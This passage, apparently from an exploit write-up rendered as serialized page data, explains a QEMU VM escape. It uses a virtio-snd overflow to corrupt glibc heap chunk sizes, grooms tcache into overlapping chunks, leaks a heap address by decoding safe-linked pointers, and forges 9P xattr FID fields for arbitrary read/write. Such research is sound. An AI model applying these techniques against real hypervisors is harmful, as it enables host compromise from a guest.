",{"type":24,"tag":135,"props":135807,"children":135809},{"className":135808},[],[135810],{"type":29,"value":134695},{"type":29,"value":135812},"-sized chunks that will later be served to the ",{"type":24,"tag":135,"props":135814,"children":135816},{"className":135815},[],[135817],{"type":29,"value":134695},{"type":29,"value":135819}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":135,"props":135821,"children":135823},{"className":135822},[],[135824],{"type":29,"value":134702},{"type":29,"value":135551},{"type":24,"tag":85,"props":135827,"children":135829},{"id":135828},"corrupting-the-size",[135830],{"type":29,"value":135831},"Corrupting the Size",{"type":24,"tag":25,"props":135833,"children":135834},{},[135835,135837,135842,135844,135849,135851,135856,135858,135863,135864,135869],{"type":29,"value":135836},"The input format is guest-controlled, and we choose ",{"type":24,"tag":135,"props":135838,"children":135840},{"className":135839},[],[135841],{"type":29,"value":11148},{"type":29,"value":135843}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":135,"props":135845,"children":135847},{"className":135846},[],[135848],{"type":29,"value":11148},{"type":29,"value":135850}," is centered at ",{"type":24,"tag":135,"props":135852,"children":135854},{"className":135853},[],[135855],{"type":29,"value":37114},{"type":29,"value":135857}," (rather than ",{"type":24,"tag":135,"props":135859,"children":135861},{"className":135860},[],[135862],{"type":29,"value":132957},{"type":29,"value":132944},{"type":24,"tag":135,"props":135865,"children":135867},{"className":135866},[],[135868],{"type":29,"value":132935},{"type":29,"value":135870},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":25,"props":135872,"children":135873},{},[135874,135876,135881],{"type":29,"value":135875},"As we already concluded, ",{"type":24,"tag":135,"props":135877,"children":135879},{"className":135878},[],[135880],{"type":29,"value":132400},{"type":29,"value":135882}," is called with the amount:",{"type":24,"tag":261,"props":135884,"children":135886},{"code":135885},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[135887],{"type":24,"tag":135,"props":135888,"children":135889},{"__ignoreMap":7},[135890],{"type":29,"value":135885},{"type":24,"tag":25,"props":135892,"children":135893},{},[135894,135896,135901,135903,135908],{"type":29,"value":135895},"And as mentioned earlier, ",{"type":24,"tag":135,"props":135897,"children":135899},{"className":135898},[],[135900],{"type":29,"value":132431},{"type":29,"value":135902}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":135,"props":135904,"children":135906},{"className":135905},[],[135907],{"type":29,"value":131050},{"type":29,"value":7986},{"type":24,"tag":25,"props":135910,"children":135911},{},[135912,135914,135919,135921,135926],{"type":29,"value":135913},"With the desired heap layout of repeated ",{"type":24,"tag":135,"props":135915,"children":135917},{"className":135916},[],[135918],{"type":29,"value":134604},{"type":29,"value":135920},"-sized ",{"type":24,"tag":135,"props":135922,"children":135924},{"className":135923},[],[135925],{"type":29,"value":134702},{"type":29,"value":135927}," chunks in place, we can then free every other one:",{"type":24,"tag":261,"props":135929,"children":135931},{"code":135930}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[135932],{"type":24,"tag":135,"props":135933,"children":135934},{"__ignoreMap":7},[135935],{"type":29,"value":135930},{"type":24,"tag":25,"props":135937,"children":135938},{},[135939,135941,135946],{"type":29,"value":135940},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":135,"props":135942,"children":135944},{"className":135943},[],[135945],{"type":29,"value":134702},{"type":29,"value":135947}," chunk directly next to it:",{"type":24,"tag":261,"props":135949,"children":135951},{"code":135950}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[135952],{"type":24,"tag":135,"props":135953,"children":135954},{"__ignoreMap":7},[135955],{"type":29,"value":135950},{"type":24,"tag":25,"props":135957,"children":135958},{},[135959,135961,135966,135968,135973],{"type":29,"value":135960},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":135,"props":135962,"children":135964},{"className":135963},[],[135965],{"type":29,"value":134604},{"type":29,"value":135967},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":135,"props":135969,"children":135971},{"className":135970},[],[135972],{"type":29,"value":134702},{"type":29,"value":135974}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":261,"props":135976,"children":135978},{"code":135977}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[135979],{"type":24,"tag":135,"props":135980,"children":135981},{"__ignoreMap":7},[135982],{"type":29,"value":135977},{"type":24,"tag":25,"props":135984,"children":135985},{},[135986,135988,135993],{"type":29,"value":135987},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":135,"props":135989,"children":135991},{"className":135990},[],[135992],{"type":29,"value":134619},{"type":29,"value":12210},{"type":24,"tag":261,"props":135995,"children":135997},{"code":135996}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[135998],{"type":24,"tag":135,"props":135999,"children":136000},{"__ignoreMap":7},[136001],{"type":29,"value":135996},{"type":24,"tag":25,"props":136003,"children":136004},{},[136005,136007,136012],{"type":29,"value":136006},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":135,"props":136008,"children":136010},{"className":136009},[],[136011],{"type":29,"value":134619},{"type":29,"value":28429},{"type":24,"tag":261,"props":136014,"children":136016},{"code":136015}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[136017],{"type":24,"tag":135,"props":136018,"children":136019},{"__ignoreMap":7},[136020],{"type":29,"value":136015},{"type":24,"tag":25,"props":136022,"children":136023},{},[136024,136026,136032],{"type":29,"value":136025},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":135,"props":136027,"children":136029},{"className":136028},[],[136030],{"type":29,"value":136031},"0x400",{"type":29,"value":136033}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":261,"props":136035,"children":136037},{"code":136036}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[136038],{"type":24,"tag":135,"props":136039,"children":136040},{"__ignoreMap":7},[136041],{"type":29,"value":136036},{"type":24,"tag":85,"props":136043,"children":136045},{"id":136044},"leaking-a-heap-address",[136046],{"type":29,"value":136047},"Leaking a Heap Address",{"type":24,"tag":25,"props":136049,"children":136050},{},[136051],{"type":29,"value":136052},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":25,"props":136054,"children":136055},{},[136056,136058,136064],{"type":29,"value":136057},"To do this, we abuse the forward (",{"type":24,"tag":135,"props":136059,"children":136061},{"className":136060},[],[136062],{"type":29,"value":136063},"fd",{"type":29,"value":136065},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":261,"props":136067,"children":136069},{"code":136068},"fd = next ^ (curr >> 12)\n",[136070],{"type":24,"tag":135,"props":136071,"children":136072},{"__ignoreMap":7},[136073],{"type":29,"value":136068},{"type":24,"tag":25,"props":136075,"children":136076},{},[136077,136079,136084,136085,136090],{"type":29,"value":136078},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":135,"props":136080,"children":136082},{"className":136081},[],[136083],{"type":29,"value":7218},{"type":29,"value":13219},{"type":24,"tag":135,"props":136086,"children":136088},{"className":136087},[],[136089],{"type":29,"value":4112},{"type":29,"value":136091}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":261,"props":136093,"children":136095},{"code":136094},"fd = 0 ^ (curr >> 12)\n",[136096],{"type":24,"tag":135,"props":136097,"children":136098},{"__ignoreMap":7},[136099],{"type":29,"value":136094},{"type":24,"tag":25,"props":136101,"children":136102},{},[136103,136105,136110],{"type":29,"value":136104},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":135,"props":136106,"children":136108},{"className":136107},[],[136109],{"type":29,"value":136063},{"type":29,"value":136111}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":25,"props":136113,"children":136114},{},[136115],{"type":29,"value":136116},"In the overlap we achieved earlier:",{"type":24,"tag":261,"props":136118,"children":136120},{"code":136119}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[136121],{"type":24,"tag":135,"props":136122,"children":136123},{"__ignoreMap":7},[136124],{"type":29,"value":136119},{"type":24,"tag":25,"props":136126,"children":136127},{},[136128,136130,136136,136138,136144,136146,136152,136154,136159],{"type":29,"value":136129},"We first free ",{"type":24,"tag":135,"props":136131,"children":136133},{"className":136132},[],[136134],{"type":29,"value":136135},".value C",{"type":29,"value":136137}," into tcache and read its contents through the oversized ",{"type":24,"tag":135,"props":136139,"children":136141},{"className":136140},[],[136142],{"type":29,"value":136143},".value Y",{"type":29,"value":136145},". This gives us ",{"type":24,"tag":135,"props":136147,"children":136149},{"className":136148},[],[136150],{"type":29,"value":136151},".value C >> 12",{"type":29,"value":136153},". That is not yet the exact address of ",{"type":24,"tag":135,"props":136155,"children":136157},{"className":136156},[],[136158],{"type":29,"value":136135},{"type":29,"value":136160},", since the lower 12 bits are lost.",{"type":24,"tag":25,"props":136162,"children":136163},{},[136164,136166,136171,136173,136178,136180,136185,136187,136192],{"type":29,"value":136165},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":135,"props":136167,"children":136169},{"className":136168},[],[136170],{"type":29,"value":136135},{"type":29,"value":136172},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":135,"props":136174,"children":136176},{"className":136175},[],[136177],{"type":29,"value":136135},{"type":29,"value":136179}," again. This time, ",{"type":24,"tag":135,"props":136181,"children":136183},{"className":136182},[],[136184],{"type":29,"value":7218},{"type":29,"value":136186}," is no longer ",{"type":24,"tag":135,"props":136188,"children":136190},{"className":136189},[],[136191],{"type":29,"value":4112},{"type":29,"value":136193},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":261,"props":136195,"children":136196},{"code":136068},[136197],{"type":24,"tag":135,"props":136198,"children":136199},{"__ignoreMap":7},[136200],{"type":29,"value":136068},{"type":24,"tag":25,"props":136202,"children":136203},{},[136204,136206,136212,136214,136219,136221,136226,136228,136233],{"type":29,"value":136205},"Since we already know ",{"type":24,"tag":135,"props":136207,"children":136209},{"className":136208},[],[136210],{"type":29,"value":136211},"curr >> 12",{"type":29,"value":136213}," from the first leak, we can read the new ",{"type":24,"tag":135,"props":136215,"children":136217},{"className":136216},[],[136218],{"type":29,"value":136063},{"type":29,"value":136220}," value from ",{"type":24,"tag":135,"props":136222,"children":136224},{"className":136223},[],[136225],{"type":29,"value":136135},{"type":29,"value":136227}," and recover the exact address of ",{"type":24,"tag":135,"props":136229,"children":136231},{"className":136230},[],[136232],{"type":29,"value":7218},{"type":29,"value":136234}," by reversing the XOR:",{"type":24,"tag":261,"props":136236,"children":136238},{"code":136237},"next = fd ^ (curr >> 12)\n",[136239],{"type":24,"tag":135,"props":136240,"children":136241},{"__ignoreMap":7},[136242],{"type":29,"value":136237},{"type":24,"tag":25,"props":136244,"children":136245},{},[136246],{"type":29,"value":136247},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":85,"props":136249,"children":136251},{"id":136250},"arbitrary-read-and-write",[136252],{"type":29,"value":136253},"Arbitrary Read and Write",{"type":24,"tag":25,"props":136255,"children":136256},{},[136257,136259,136264],{"type":29,"value":136258},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":135,"props":136260,"children":136262},{"className":136261},[],[136263],{"type":29,"value":136135},{"type":29,"value":136265}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":25,"props":136267,"children":136268},{},[136269,136271,136276],{"type":29,"value":136270},"Recall ",{"type":24,"tag":135,"props":136272,"children":136274},{"className":136273},[],[136275],{"type":29,"value":134739},{"type":29,"value":12210},{"type":24,"tag":261,"props":136278,"children":136280},{"code":136279,"language":578,"meta":7,"className":576,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[136281],{"type":24,"tag":135,"props":136282,"children":136283},{"__ignoreMap":7},[136284,136323,136330,136341,136356,136371,136378,136385,136392,136414,136421,136428,136435,136443,136460,136499,136542,136549],{"type":24,"tag":271,"props":136285,"children":136286},{"class":273,"line":274},[136287,136291,136295,136299,136303,136307,136311,136315,136319],{"type":24,"tag":271,"props":136288,"children":136289},{"style":278},[136290],{"type":29,"value":590},{"type":24,"tag":271,"props":136292,"children":136293},{"style":278},[136294],{"type":29,"value":595},{"type":24,"tag":271,"props":136296,"children":136297},{"style":288},[136298],{"type":29,"value":134734},{"type":24,"tag":271,"props":136300,"children":136301},{"style":598},[136302],{"type":29,"value":134739},{"type":24,"tag":271,"props":136304,"children":136305},{"style":288},[136306],{"type":29,"value":606},{"type":24,"tag":271,"props":136308,"children":136309},{"style":278},[136310],{"type":29,"value":1205},{"type":24,"tag":271,"props":136312,"children":136313},{"style":624},[136314],{"type":29,"value":3895},{"type":24,"tag":271,"props":136316,"children":136317},{"style":630},[136318],{"type":29,"value":134756},{"type":24,"tag":271,"props":136320,"children":136321},{"style":288},[136322],{"type":29,"value":694},{"type":24,"tag":271,"props":136324,"children":136325},{"class":273,"line":284},[136326],{"type":24,"tag":271,"props":136327,"children":136328},{"style":288},[136329],{"type":29,"value":702},{"type":24,"tag":271,"props":136331,"children":136332},{"class":273,"line":294},[136333,136337],{"type":24,"tag":271,"props":136334,"children":136335},{"style":278},[136336],{"type":29,"value":5257},{"type":24,"tag":271,"props":136338,"children":136339},{"style":288},[136340],{"type":29,"value":131392},{"type":24,"tag":271,"props":136342,"children":136343},{"class":273,"line":303},[136344,136348,136352],{"type":24,"tag":271,"props":136345,"children":136346},{"style":288},[136347],{"type":29,"value":134881},{"type":24,"tag":271,"props":136349,"children":136350},{"style":624},[136351],{"type":29,"value":627},{"type":24,"tag":271,"props":136353,"children":136354},{"style":288},[136355],{"type":29,"value":134890},{"type":24,"tag":271,"props":136357,"children":136358},{"class":273,"line":312},[136359,136363,136367],{"type":24,"tag":271,"props":136360,"children":136361},{"style":288},[136362],{"type":29,"value":134881},{"type":24,"tag":271,"props":136364,"children":136365},{"style":624},[136366],{"type":29,"value":627},{"type":24,"tag":271,"props":136368,"children":136369},{"style":288},[136370],{"type":29,"value":134906},{"type":24,"tag":271,"props":136372,"children":136373},{"class":273,"line":321},[136374],{"type":24,"tag":271,"props":136375,"children":136376},{"emptyLinePlaceholder":16},[136377],{"type":29,"value":327},{"type":24,"tag":271,"props":136379,"children":136380},{"class":273,"line":330},[136381],{"type":24,"tag":271,"props":136382,"children":136383},{"style":288},[136384],{"type":29,"value":111591},{"type":24,"tag":271,"props":136386,"children":136387},{"class":273,"line":339},[136388],{"type":24,"tag":271,"props":136389,"children":136390},{"emptyLinePlaceholder":16},[136391],{"type":29,"value":327},{"type":24,"tag":271,"props":136393,"children":136394},{"class":273,"line":347},[136395,136400,136404,136409],{"type":24,"tag":271,"props":136396,"children":136397},{"style":288},[136398],{"type":29,"value":136399}," file_fidp ",{"type":24,"tag":271,"props":136401,"children":136402},{"style":624},[136403],{"type":29,"value":762},{"type":24,"tag":271,"props":136405,"children":136406},{"style":598},[136407],{"type":29,"value":136408}," get_fid",{"type":24,"tag":271,"props":136410,"children":136411},{"style":288},[136412],{"type":29,"value":136413},"(pdu, fid);\n",{"type":24,"tag":271,"props":136415,"children":136416},{"class":273,"line":356},[136417],{"type":24,"tag":271,"props":136418,"children":136419},{"emptyLinePlaceholder":16},[136420],{"type":29,"value":327},{"type":24,"tag":271,"props":136422,"children":136423},{"class":273,"line":365},[136424],{"type":24,"tag":271,"props":136425,"children":136426},{"style":288},[136427],{"type":29,"value":111591},{"type":24,"tag":271,"props":136429,"children":136430},{"class":273,"line":374},[136431],{"type":24,"tag":271,"props":136432,"children":136433},{"emptyLinePlaceholder":16},[136434],{"type":29,"value":327},{"type":24,"tag":271,"props":136436,"children":136437},{"class":273,"line":384},[136438],{"type":24,"tag":271,"props":136439,"children":136440},{"style":2058},[136441],{"type":29,"value":136442}," /* Make the file fid point to xattr */\n",{"type":24,"tag":271,"props":136444,"children":136445},{"class":273,"line":393},[136446,136451,136455],{"type":24,"tag":271,"props":136447,"children":136448},{"style":288},[136449],{"type":29,"value":136450}," xattr_fidp ",{"type":24,"tag":271,"props":136452,"children":136453},{"style":624},[136454],{"type":29,"value":762},{"type":24,"tag":271,"props":136456,"children":136457},{"style":288},[136458],{"type":29,"value":136459}," file_fidp;\n",{"type":24,"tag":271,"props":136461,"children":136462},{"class":273,"line":402},[136463,136467,136471,136475,136479,136483,136487,136491,136495],{"type":24,"tag":271,"props":136464,"children":136465},{"style":630},[136466],{"type":29,"value":135284},{"type":24,"tag":271,"props":136468,"children":136469},{"style":288},[136470],{"type":29,"value":786},{"type":24,"tag":271,"props":136472,"children":136473},{"style":630},[136474],{"type":29,"value":44650},{"type":24,"tag":271,"props":136476,"children":136477},{"style":288},[136478],{"type":29,"value":41},{"type":24,"tag":271,"props":136480,"children":136481},{"style":630},[136482],{"type":29,"value":135208},{"type":24,"tag":271,"props":136484,"children":136485},{"style":288},[136486],{"type":29,"value":41},{"type":24,"tag":271,"props":136488,"children":136489},{"style":630},[136490],{"type":29,"value":8335},{"type":24,"tag":271,"props":136492,"children":136493},{"style":624},[136494],{"type":29,"value":1712},{"type":24,"tag":271,"props":136496,"children":136497},{"style":288},[136498],{"type":29,"value":131392},{"type":24,"tag":271,"props":136500,"children":136501},{"class":273,"line":411},[136502,136506,136510,136514,136518,136522,136526,136530,136534,136538],{"type":24,"tag":271,"props":136503,"children":136504},{"style":630},[136505],{"type":29,"value":135284},{"type":24,"tag":271,"props":136507,"children":136508},{"style":288},[136509],{"type":29,"value":786},{"type":24,"tag":271,"props":136511,"children":136512},{"style":630},[136513],{"type":29,"value":44650},{"type":24,"tag":271,"props":136515,"children":136516},{"style":288},[136517],{"type":29,"value":41},{"type":24,"tag":271,"props":136519,"children":136520},{"style":630},[136521],{"type":29,"value":135208},{"type":24,"tag":271,"props":136523,"children":136524},{"style":288},[136525],{"type":29,"value":41},{"type":24,"tag":271,"props":136527,"children":136528},{"style":630},[136529],{"type":29,"value":46820},{"type":24,"tag":271,"props":136531,"children":136532},{"style":624},[136533],{"type":29,"value":1712},{"type":24,"tag":271,"props":136535,"children":136536},{"style":598},[136537],{"type":29,"value":130963},{"type":24,"tag":271,"props":136539,"children":136540},{"style":288},[136541],{"type":29,"value":135321},{"type":24,"tag":271,"props":136543,"children":136544},{"class":273,"line":420},[136545],{"type":24,"tag":271,"props":136546,"children":136547},{"emptyLinePlaceholder":16},[136548],{"type":29,"value":327},{"type":24,"tag":271,"props":136550,"children":136551},{"class":273,"line":429},[136552],{"type":24,"tag":271,"props":136553,"children":136554},{"style":288},[136555],{"type":29,"value":111591},{"type":24,"tag":25,"props":136557,"children":136558},{},[136559,136561,136567,136569,136574,136575,136580,136582,136587,136589,136595,136596,136602,136604,136609,136610,136615],{"type":29,"value":136560},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":135,"props":136562,"children":136564},{"className":136563},[],[136565],{"type":29,"value":136566},"V9fsFidState",{"type":29,"value":136568}," object. In other words, if we can place a ",{"type":24,"tag":135,"props":136570,"children":136572},{"className":136571},[],[136573],{"type":29,"value":136566},{"type":29,"value":15038},{"type":24,"tag":135,"props":136576,"children":136578},{"className":136577},[],[136579],{"type":29,"value":136135},{"type":29,"value":136581}," currently sits, the overlapping ",{"type":24,"tag":135,"props":136583,"children":136585},{"className":136584},[],[136586],{"type":29,"value":136143},{"type":29,"value":136588}," chunk can overwrite ",{"type":24,"tag":135,"props":136590,"children":136592},{"className":136591},[],[136593],{"type":29,"value":136594},"V9fsFidState.fs.xattr.value",{"type":29,"value":518},{"type":24,"tag":135,"props":136597,"children":136599},{"className":136598},[],[136600],{"type":29,"value":136601},"V9fsFidState.fs.xattr.len",{"type":29,"value":136603},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":135,"props":136605,"children":136607},{"className":136606},[],[136608],{"type":29,"value":135397},{"type":29,"value":518},{"type":24,"tag":135,"props":136611,"children":136613},{"className":136612},[],[136614],{"type":29,"value":135389},{"type":29,"value":41},{"type":24,"tag":25,"props":136617,"children":136618},{},[136619,136621,136626,136627,136632,136634,136639,136641,136647,136649,136654,136656,136661,136663,136668,136670,136675,136677,136682],{"type":29,"value":136620},"At this point, ",{"type":24,"tag":135,"props":136622,"children":136624},{"className":136623},[],[136625],{"type":29,"value":136135},{"type":29,"value":23141},{"type":24,"tag":135,"props":136628,"children":136630},{"className":136629},[],[136631],{"type":29,"value":134604},{"type":29,"value":136633}," chunk, while ",{"type":24,"tag":135,"props":136635,"children":136637},{"className":136636},[],[136638],{"type":29,"value":136566},{"type":29,"value":136640}," falls into the ",{"type":24,"tag":135,"props":136642,"children":136644},{"className":136643},[],[136645],{"type":29,"value":136646},"0x120",{"type":29,"value":136648}," size class. Before freeing ",{"type":24,"tag":135,"props":136650,"children":136652},{"className":136651},[],[136653],{"type":29,"value":136135},{"type":29,"value":136655},", we therefore use the oversized ",{"type":24,"tag":135,"props":136657,"children":136659},{"className":136658},[],[136660],{"type":29,"value":136143},{"type":29,"value":136662}," chunk to change its size to match ",{"type":24,"tag":135,"props":136664,"children":136666},{"className":136665},[],[136667],{"type":29,"value":136566},{"type":29,"value":136669},". Once ",{"type":24,"tag":135,"props":136671,"children":136673},{"className":136672},[],[136674],{"type":29,"value":136135},{"type":29,"value":136676}," is freed, it is inserted into the ",{"type":24,"tag":135,"props":136678,"children":136680},{"className":136679},[],[136681],{"type":29,"value":136646},{"type":29,"value":136683}," tcache bin.",{"type":24,"tag":261,"props":136685,"children":136687},{"code":136686}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[136688],{"type":24,"tag":135,"props":136689,"children":136690},{"__ignoreMap":7},[136691],{"type":29,"value":136686},{"type":24,"tag":25,"props":136693,"children":136694},{},[136695,136697,136702,136704,136710,136712,136718,136720,136725],{"type":29,"value":136696},"After that, we can simply allocate a new ",{"type":24,"tag":135,"props":136698,"children":136700},{"className":136699},[],[136701],{"type":29,"value":136566},{"type":29,"value":136703}," with a ",{"type":24,"tag":135,"props":136705,"children":136707},{"className":136706},[],[136708],{"type":29,"value":136709},"P9_TWALK",{"type":29,"value":136711}," request and a fresh FID - this reaches ",{"type":24,"tag":135,"props":136713,"children":136715},{"className":136714},[],[136716],{"type":29,"value":136717},"alloc_fid",{"type":29,"value":136719},", which allocates a new ",{"type":24,"tag":135,"props":136721,"children":136723},{"className":136722},[],[136724],{"type":29,"value":136566},{"type":29,"value":12210},{"type":24,"tag":261,"props":136727,"children":136729},{"code":136728,"language":578,"meta":7,"className":576,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[136730],{"type":24,"tag":135,"props":136731,"children":136732},{"__ignoreMap":7},[136733,136773,136780,136796,136824,136831,136838,136845,136866,136873,136888,136910,136934,136955,136966,136973,137011,137053,137060,137067,137074,137081,137088,137139,137146,137161,137168,137216,137228,137236,137265,137280,137287,137316,137323],{"type":24,"tag":271,"props":136734,"children":136735},{"class":273,"line":274},[136736,136740,136744,136748,136753,136757,136761,136765,136769],{"type":24,"tag":271,"props":136737,"children":136738},{"style":278},[136739],{"type":29,"value":590},{"type":24,"tag":271,"props":136741,"children":136742},{"style":278},[136743],{"type":29,"value":595},{"type":24,"tag":271,"props":136745,"children":136746},{"style":288},[136747],{"type":29,"value":134734},{"type":24,"tag":271,"props":136749,"children":136750},{"style":598},[136751],{"type":29,"value":136752},"v9fs_walk",{"type":24,"tag":271,"props":136754,"children":136755},{"style":288},[136756],{"type":29,"value":606},{"type":24,"tag":271,"props":136758,"children":136759},{"style":278},[136760],{"type":29,"value":1205},{"type":24,"tag":271,"props":136762,"children":136763},{"style":624},[136764],{"type":29,"value":3895},{"type":24,"tag":271,"props":136766,"children":136767},{"style":630},[136768],{"type":29,"value":134756},{"type":24,"tag":271,"props":136770,"children":136771},{"style":288},[136772],{"type":29,"value":694},{"type":24,"tag":271,"props":136774,"children":136775},{"class":273,"line":284},[136776],{"type":24,"tag":271,"props":136777,"children":136778},{"style":288},[136779],{"type":29,"value":702},{"type":24,"tag":271,"props":136781,"children":136782},{"class":273,"line":294},[136783,136787,136791],{"type":24,"tag":271,"props":136784,"children":136785},{"style":288},[136786],{"type":29,"value":134881},{"type":24,"tag":271,"props":136788,"children":136789},{"style":624},[136790],{"type":29,"value":627},{"type":24,"tag":271,"props":136792,"children":136793},{"style":288},[136794],{"type":29,"value":136795},"fidp;\n",{"type":24,"tag":271,"props":136797,"children":136798},{"class":273,"line":303},[136799,136803,136807,136812,136816,136820],{"type":24,"tag":271,"props":136800,"children":136801},{"style":288},[136802],{"type":29,"value":134881},{"type":24,"tag":271,"props":136804,"children":136805},{"style":624},[136806],{"type":29,"value":627},{"type":24,"tag":271,"props":136808,"children":136809},{"style":288},[136810],{"type":29,"value":136811},"newfidp ",{"type":24,"tag":271,"props":136813,"children":136814},{"style":624},[136815],{"type":29,"value":762},{"type":24,"tag":271,"props":136817,"children":136818},{"style":278},[136819],{"type":29,"value":134560},{"type":24,"tag":271,"props":136821,"children":136822},{"style":288},[136823],{"type":29,"value":1069},{"type":24,"tag":271,"props":136825,"children":136826},{"class":273,"line":312},[136827],{"type":24,"tag":271,"props":136828,"children":136829},{"emptyLinePlaceholder":16},[136830],{"type":29,"value":327},{"type":24,"tag":271,"props":136832,"children":136833},{"class":273,"line":321},[136834],{"type":24,"tag":271,"props":136835,"children":136836},{"style":288},[136837],{"type":29,"value":111591},{"type":24,"tag":271,"props":136839,"children":136840},{"class":273,"line":330},[136841],{"type":24,"tag":271,"props":136842,"children":136843},{"emptyLinePlaceholder":16},[136844],{"type":29,"value":327},{"type":24,"tag":271,"props":136846,"children":136847},{"class":273,"line":339},[136848,136852,136857,136861],{"type":24,"tag":271,"props":136849,"children":136850},{"style":749},[136851],{"type":29,"value":5025},{"type":24,"tag":271,"props":136853,"children":136854},{"style":288},[136855],{"type":29,"value":136856}," (fid ",{"type":24,"tag":271,"props":136858,"children":136859},{"style":624},[136860],{"type":29,"value":5059},{"type":24,"tag":271,"props":136862,"children":136863},{"style":288},[136864],{"type":29,"value":136865}," newfid) {\n",{"type":24,"tag":271,"props":136867,"children":136868},{"class":273,"line":347},[136869],{"type":24,"tag":271,"props":136870,"children":136871},{"style":288},[136872],{"type":29,"value":130829},{"type":24,"tag":271,"props":136874,"children":136875},{"class":273,"line":356},[136876,136880,136884],{"type":24,"tag":271,"props":136877,"children":136878},{"style":288},[136879],{"type":29,"value":23476},{"type":24,"tag":271,"props":136881,"children":136882},{"style":749},[136883],{"type":29,"value":11044},{"type":24,"tag":271,"props":136885,"children":136886},{"style":288},[136887],{"type":29,"value":7145},{"type":24,"tag":271,"props":136889,"children":136890},{"class":273,"line":365},[136891,136896,136900,136905],{"type":24,"tag":271,"props":136892,"children":136893},{"style":288},[136894],{"type":29,"value":136895}," newfidp ",{"type":24,"tag":271,"props":136897,"children":136898},{"style":624},[136899],{"type":29,"value":762},{"type":24,"tag":271,"props":136901,"children":136902},{"style":598},[136903],{"type":29,"value":136904}," 